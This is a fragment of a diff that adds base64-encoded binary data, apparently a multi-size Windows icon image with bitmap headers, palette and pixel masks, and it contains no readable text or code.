+ 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
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBRAAAAAAAAAAAAAAAAAE1OSE8AAAAA
+ AAAAAAAAAEpLSElMAAAAAAAAAAAAAEpLSElAAAAAAABBQkNERUZHSElAAAAAAAA7PD0kLDM5Pj9AAAAA
+ AAAANTY3IysyODk6AAAAAAAALi8wGSIqMTIzNAAAAAAAACYnKBghKSorLC0AAAAAAAAdHh8XICEiIyQl
+ AAAAAAAAFBUOFhcYGRobHAAAAAAAAAAGDQ4PEBESEwAAAAAAAAAAAAYHCAkKCwwAAAAAAAAAAAAAAgME
+ BQAAAAAAAAAAAP//AAD//wAA/+cAAP/DAAD/gwAA/wcAAMAPAACAHwAAgD8AAAA/AAAAPwAAAD8AAAA/
+ AACAfwAAwH8AAOH/AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAKAAAAGgAAACgAAAAtAAAAKgAAABwAAAALAAAAAgAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABQAAAA4AAAAYgAAAH8AAACLAAAAgwAA
+ AGkAAAA+AAAAGAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAFwgIHFcLCyLFERIv8hgb
+ O/wcIT/3Gh835RATJLoAAACMAAAAUAAAABkAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAXCAghaw4O
+ LfIeJEr/NkZ1/0Rbjf9IYJD/PlB6/zA5XPwbIDHQAAAAjQAAAEAAAAANAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAA
+ ABcICCFrDg4t9ScxW/9EWpD/TWed/1Z1qv9egrb/Z5DD/119qv87SGz8GyEvuwAAAGoAAAAfAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ 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
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABIAAAAzHBwcbCcnJ8ExMTHwNTU1/jMzM/81NDP/Qz48/01E
+ Qf9IQD3/NzIw/yMiIv8cHBz/GBgY/REREe8JCQnTBgYTvg8PLPgnMFv/RFqQ/01nnf9Wdar/XoK2/2eP
+ w/9xnc//gqzX/5W73/+ny+f/utrv/83p9v+Wrsj/W2+X9EZYd2sAAAAZAAAABQAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAGh4eHksvLy+6PDw8+T09Pf9fVVH/oIV7/9St
+ nv/1ybX//9O+///VwP//18H//tjC//DMuP/Dp5j/hHJo/zItKv8SEhL/Dg4S/hwiPv9EWo//TWed/1Z1
+ qv9egrb/Z4/D/3Gdz/+CrNf/lbvf/6fL5/+62u//zen2/5auyP9bb5X0RVZ1awAAABkAAAAFAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAAAdMTExbj09PepFRET/cmRf/8+n
+ l//+y7f//8+6///Svf//1sD//9nD///bxf//3cj//9/J///gyv//4Mr//+DK//vbxv+ul4j/Ni8s/wsL
+ C/8eJjf/UG2f/16Ctv9nj8P/cZ3P/4Ks1/+Vu9//p8vn/7ra7//N6fb/lq7I/1tvlfRGWHdrAAAAGQAA
+ AAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABs2NjaDSEhI+VRR
+ T/+5l4v/+8az//7Lt///z7v//9O+///Ywv//28X//97J///hy///5M3//+bP///n0P//59D//+bP///l
+ zv//483/+NvF/4Z0af8LCgr/ERce/1l7qP9xnc//gqzX/5W73/+ny+f/utrv/83p9v+Wrsj/W2+X9EVW
+ dWsAAAAZAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAFD09
+ PYBNTU38Z19c/96xof/7xrL//su3///Pu///1sL//97M///eyf//4Mr//+TN///o0f//69P//+3V///u
+ 1v//7tf//+7W///s1f//6tP//+fQ///kzf+/p5b/Eg8O/wsPFP9wlLn/lbvf/6fL5/+62u//zen2/5au
+ yP9Zb5X0Rlh3awAAABkAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAALPz8/X1FRUflsZGH/5bal//nEsf/+ybX//8+7///dzv//5df//97J///hy///5s///+rT///u
+ 1///8tr///Tc///23f//9t7///bd///03P//8dn//+7W///q0v//5c7/zbOi/xIQDv8ZHyT/nL3X/7ra
+ 7//N6fb/lq7I/1twl/RFVnVrAAAAGQAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAQ+Pj4vUVFR6WRgXv/dsaD/9sKv//zHs///z73//+LW///o2///3sr//+HK///m
+ z///7NT///HZ///13f//+eH///zj///95f///ub///3l///84///+OD///Tc///w2P//69P//+XO/76m
+ lv8LCgr/QUtR/8zo9f+Vrsj/WW+V9EZYd2sAAAAZAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9OTk6sW1tb/8Kfkv/yv6z/+MSw//7Nuv//5Nn//+jd///i
+ 0v//38n//+XO///r0///8dn///be///84////uf////r////7f///+7////t////6v///uf///vi///1
+ 3f//8Nj//+rS///kzf+GdGn/CwsL/2R0hv9Zb5X3P1BsfQAAACAAAAAFAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBQUD1dXV38jn13/+68qf/0wa3/+se0//7i
+ 1///6N7//+nd///dyP//4sz//+jR///v1///9d3///zj///+6f///+7////z////9v////f////1////
+ 8v///+7///7o///74v//9Nz//+7W///n0P/428X/NS8r/xgbIP4kLj69AAAAYAAAABsAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACVZWVqxlZGP/1auc/++9
+ qv/1wq7//dnM///o3///6uD//+PT///eyP//5c7//+vU///z2v//+uH///7o////7/////X////7////
+ /v////7////9////+v////T////u///+5///+OD///HZ///q0///483/rZaI/xISEv8JCQnTAAAAfQAA
+ ACoAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARkZGHGNj
+ Y/KOfnn/6rmn//C+q//4yLb//+jf///q4f//7OL//93J///gyv//59D//+7W///13f///eT////s////
+ 8/////v////+/////////////////////v////r////y////6v///OP///Tc///s1f//5c7/+9vG/zEr
+ Kf8RERHvAAAAlgAAAD8AAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAWlpaYGlpaf+9nJD/67mn//G+q//72Mv//+ri///r4///6t///9rF///hy///6NH//+/Y///3
+ 3////ub////u////9/////7///////////////////////////////3////1////7f///eX///bd///u
+ 1v//5s///+DK/4JwZ/8YGBj9CAgIrgAAAFQAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAYWFhnm5tbf/esKD/67qn//K/rP/+5t3//+vk///t5f//5tn//9vF///h
+ y///6NH///DY///43////uf////v////+P////7///////////////////////////////7////3////
+ 7v///ub///be///u1///59D//+DK/8Knl/8cHBz/Dg4OyQAAAGYAAAAdAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaGhoxYF6d//ltaP/67mn//PFtP//6+T//+3m///u
+ 6P//4tT//9rF///hy///6NH///DY///33////ub////v////9/////7/////////////////////////
+ //////7////2////7f///eX///bd///u1v//59D//+DK/+7Lt/8jIiL/FBQU2wAAAHIAAAAjAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbm5u4JOFgP/ltKP/6rmn//XN
+ vv//7eb//+7o///w6f//4NH//9nE///gyv//59D//+7W///23f///eX////s////9P////z/////////
+ /////////////////v////v////z////6////OP///Tc///t1f//5s///9/J//7Ywv81MS//GBgY5QAA
+ AHcAAAAlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcnJy7pyL
+ hf/ktKL/6rim//XRw///7uj///Dq///x7P//4NL//9jC///eyf//5c7//+zU///z2///++L///7p////
+ 8P////b////8/////v////7////+////+/////X////u///+5///+eH///La///r0///5M3//93I///X
+ wf9GPzv/HBwc6QAAAHcAAAAlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAdHR08J+Nh//js6H/6bil//XRxP//8Or///Hs///y7v//49b//9bB///cx///4sz//+nS///w
+ 2P//9t7///3k////6v////D////0////9/////j////3////8////+////7p///84///9d3//+7X///o
+ 0f//4cv//9vF///VwP9KQj//Hx8f6QAAAHIAAAAjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAeHh44puMh//isqD/57ak//PNv///8ez///Lu///07///6uH//9S+///a
+ xP//38n//+XP///s1P//8tr///jf///95P///un////s////7////+/////u////7P///uj///zj///2
+ 3v//8dn//+rT///kzf//3sn//9nD//7Tvv9AOzr/ISEh5AAAAGcAAAAdAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeXl5x5CIhf/gsZ//5rWj/+/EtP//8u7///Tw///1
+ 8f//9PD//9O////Xwf//3Mb//+HL///n0P//7NX///La///23v//++L///3l///+5v///uf///7m///9
+ 5P//+uH///Xd///x2f//7NT//+bP///gyv//28X//9bA//LHs/80MzP/ICAg1gAAAFcAAAAVAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenp6nYWEhP/brp3/5LOi/+q5
+ p//+8Or///Xx///28///9/X//9/S///Tvv//2ML//93H///izP//59D//+zU///w2P//89v///bd///3
+ 3///+N////ff///13f//89r//+/X///r0///5s///+HL///cx///2cP//9K9/8+qmv8zMzP/HBwcvgAA
+ AEIAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfX19WoaG
+ hv/Fo5f/4bKg/+a2pP/43tX///bz///49f//+ff///Xx///Sv///1L///9nD///dx///4cv//+XP///p
+ 0v//7NT//+7W///w2P//8Nj//+/Y///u1v//69T//+jR///lzv//4cr//9zH///fzP//1L///8+6/5uB
+ d/81NTX+GhoakAAAAC4AAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAdnZ2FIaGhvWol5H/37Ce/+S0ov/uxLT///f1///59///+vn///z6///r5P//0Lz//9S////Y
+ wv//3Mb//9/J///izP//5c7//+fQ///o0f//6NH//+jR///n0P//5c7//+LM///fyf//28b//+DO///d
+ zf//z7v//cq2/1lRTv8wMDDuAAAAYAAAABsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAIWFhauQjo7/1aub/+GxoP/mtaP/+OPb///6+f///Pv///38///+
+ /v//6N///9C8///Tvv//18H//9rE///cx///3sn//+DK///hy///4cv//+HL///gyv//3sj//9zG///b
+ xv//49T//+TY///Rvv/+y7f/yaOU/z09Pf8nJye+AAAAOgAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIGBgTSQkJD9sZ2W/96vnv/is6H/6bys//31
+ 8v///fz///7+///+/f///Pv//+3m///Twf//0bz//9S+///Wwf//2ML//9nE///axf//28X//9rF///Z
+ xP//2cT//+DQ///n2///5tv//9bG//7Lt//6xrL/al9a/zs7O/cYGBhpAAAAGwAAAAMAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMjIyplZWU/82o
+ m//fsJ//47Oh/+3GuP/++/r///39///8+///+/n///n4///28///5dv//9jI///Svv//0r3//9O+///U
+ v///18P//93L///j1f//6d///+je///m3P//2sz//sm1//vGsv+wkYX/RERE/i4uLrUAAAAzAAAACAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AACCgoIck5OT66Kcmf/XrJz/4LCf/+Szov/ux7n//ff1///7+v//+vj///j2///39P//9fL///Tw///y
+ 7f//7uf//+zk///t5f//7eX//+zk///q4v//6OD//+bd//7Zy//8x7P/+cSx/9itnf9QTk3/PT095y4u
+ LkgAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAj4+PTZubm/utoZ3/2q2d/+Cwn//js6H/67+v//rp4///+Pb///f0///2
+ 8v//9PD///Pu///x7P//8Or//+/o///t5///7OX//+ri///o4P/+5Nv/+9HB//jEsP/2wq//4LOi/2Jb
+ Wf9GRkb3MDAwaAAAABoAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJSUlG+fn5/9raGd/9esnP/fsJ//4rOh/+a1
+ pP/wzL7/++jh//708P//8+////Lt///w6///7+n//+3n///s5f//6uP//uXc//vWyP/2xbL/9MGt//K/
+ rP/YrZ3/Z2Bd/01NTfo1NTV8AAAAHgAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACTk5Num5ub+6Kb
+ mf/MqJv/3q+e/+GxoP/ktKL/5rak/+zAr//z0ML/99nO//ne1P/53tP/+tvP//fUxv/1ybn/8cCt//C+
+ q//vvar/7ryp/7mYjf9gXVz/UFBQ9js7O3UAAAAbAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAkJCQSpSUlOmVlJT/r5yW/9Oqm//fsJ7/4bKg/+Szov/mtaP/57ak/+m4pf/quKb/6rmn/+u5
+ p//ruqf/67mn/+q5p//Pp5n/hXdy/1tbW/9QUFDjPz8/VQAAABUAAAAFAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiIiBqMjIyjj4+P/I+Ojf+llpD/waKW/9itnP/gsZ//4rKg/+Oz
+ of/ktKL/5bSj/+W1o//XrJ3/tZeM/4Z5df9jY2P/XFxc+U1NTZ8xMTEoAAAADAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf39/LoSEhKKGhobwhoaG/4SD
+ g/+MhoP/loqF/5qLhf+XiIP/jYJ+/3p2dP9tbW3/aWlp/mBgYOpVVVWeTk5OMgAAAA4AAAAFAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAB/f38KeXl5Tnp6eo93d3e5dXV11nV1deBwcHDfbGxs02dnZ7ZiYmKNW1tbTTs7OxQAAAAIAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////gDAAD/////8AEAAP/////gAAAA/////8AA
+ AAD/////gAAAAP////8AAAAA/////gAAAAD////8AAAAAP////gAAAAA////8AAAAAD////gAAAAAP//
